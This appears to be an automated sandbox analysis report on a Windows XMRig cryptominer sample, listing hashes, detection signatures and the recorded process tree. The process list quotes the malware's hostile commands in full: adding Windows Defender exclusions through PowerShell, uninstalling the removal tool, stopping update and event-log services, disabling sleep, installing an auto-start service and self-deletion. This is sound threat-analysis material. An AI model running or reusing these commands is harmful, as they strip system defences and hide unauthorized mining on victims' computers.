Analysis
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max time kernel
89s -
max time network
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platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
18-12-2024 22:19
Static task
static1
Behavioral task
behavioral1
Sample
9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe
Resource
win7-20240708-en
General
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Target
9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe
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Size
5.6MB
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MD5
9914f9a9df28992cfc277aff8005c299
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SHA1
65b9823fdf01466ceb011e4bd566711169e56feb
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SHA256
9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41
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SHA512
8e9fd2b5a02675b983e7dd83c03378697368752bd8aa06a90075eec3625ec9b32dcd16a591981c9897532ec4dab833c30976a8db8490ef4b5dd8aa4144085588
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SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7G:xFKoU8O5/b2XViSjX310SeyGc7u7G
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 9 IoCs
resource yara_rule behavioral1/memory/2920-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2920-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2920-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2920-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2920-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2920-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2920-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2920-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2920-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2780 powershell.exe 2080 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 2912 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 2336 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 848 powercfg.exe 1600 powercfg.exe 948 powercfg.exe 2972 powercfg.exe 2164 powercfg.exe 1772 powercfg.exe 1276 powercfg.exe 1644 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2336 set thread context of 1268 2336 lutlgidagtja.exe 88 PID 2336 set thread context of 2920 2336 lutlgidagtja.exe 89 -
resource yara_rule behavioral1/memory/2920-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2920-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3040 sc.exe 2068 sc.exe 2544 sc.exe 1388 sc.exe 712 sc.exe 2632 sc.exe 2908 sc.exe 376 sc.exe 2512 sc.exe 2264 sc.exe 2576 sc.exe 2360 sc.exe 2604 sc.exe 2252 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0a7f8f19a51db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 2780 powershell.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 1976 9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe 2336 lutlgidagtja.exe 2080 powershell.exe 2336 lutlgidagtja.exe 2336 lutlgidagtja.exe 2336 lutlgidagtja.exe 2336 lutlgidagtja.exe 2336 lutlgidagtja.exe 2336 lutlgidagtja.exe 2336 lutlgidagtja.exe 2336 lutlgidagtja.exe 2336 lutlgidagtja.exe 2336 lutlgidagtja.exe 2336 lutlgidagtja.exe 2336 lutlgidagtja.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe 2920 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2780 powershell.exe Token: SeShutdownPrivilege 948 powercfg.exe Token: SeShutdownPrivilege 848 powercfg.exe Token: SeShutdownPrivilege 1600 powercfg.exe Token: SeShutdownPrivilege 2972 powercfg.exe Token: SeDebugPrivilege 2080 powershell.exe Token: SeShutdownPrivilege 1276 powercfg.exe Token: SeShutdownPrivilege 1644 powercfg.exe Token: SeShutdownPrivilege 1772 powercfg.exe Token: SeShutdownPrivilege 2164 powercfg.exe Token: SeLockMemoryPrivilege 2920 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2568 wrote to memory of 2588 2568 cmd.exe 38 PID 2568 wrote to memory of 2588 2568 cmd.exe 38 PID 2568 wrote to memory of 2588 2568 cmd.exe 38 PID 2912 wrote to memory of 2628 2912 cmd.exe 63 PID 2912 wrote to memory of 2628 2912 cmd.exe 63 PID 2912 wrote to memory of 2628 2912 cmd.exe 63 PID 992 wrote to memory of 1440 992 cmd.exe 72 PID 992 wrote to memory of 1440 992 cmd.exe 72 PID 992 wrote to memory of 1440 992 cmd.exe 72 PID 2336 wrote to memory of 1268 2336 lutlgidagtja.exe 88 PID 2336 wrote to memory of 1268 2336 lutlgidagtja.exe 88 PID 2336 wrote to memory of 1268 2336 lutlgidagtja.exe 88 PID 2336 wrote to memory of 1268 2336 lutlgidagtja.exe 88 PID 2336 wrote to memory of 1268 2336 lutlgidagtja.exe 88 PID 2336 wrote to memory of 1268 2336 lutlgidagtja.exe 88 PID 2336 wrote to memory of 1268 2336 lutlgidagtja.exe 88 PID 2336 wrote to memory of 1268 2336 lutlgidagtja.exe 88 PID 2336 wrote to memory of 1268 2336 lutlgidagtja.exe 88 PID 2336 wrote to memory of 2920 2336 lutlgidagtja.exe 89 PID 2336 wrote to memory of 2920 2336 lutlgidagtja.exe 89 PID 2336 wrote to memory of 2920 2336 lutlgidagtja.exe 89 PID 2336 wrote to memory of 2920 2336 lutlgidagtja.exe 89 PID 2336 wrote to memory of 2920 2336 lutlgidagtja.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe"C:\Users\Admin\AppData\Local\Temp\9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1976 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2780
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2568 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2588
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2632
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2264
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2544
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2604
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2576
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2972
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:948
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1600
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:848
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2252
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:376
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2512
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:2908
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\9698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2628
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C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2336 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2080
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:992 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1440
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:712
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1388
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2360
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2068
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:3040
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1644
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1276
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1772
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2164
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:1268
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2920
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD59914f9a9df28992cfc277aff8005c299
SHA165b9823fdf01466ceb011e4bd566711169e56feb
SHA2569698670b30f292a877fe07f33e93035f273a55001c9ba6c184f893c672424d41
SHA5128e9fd2b5a02675b983e7dd83c03378697368752bd8aa06a90075eec3625ec9b32dcd16a591981c9897532ec4dab833c30976a8db8490ef4b5dd8aa4144085588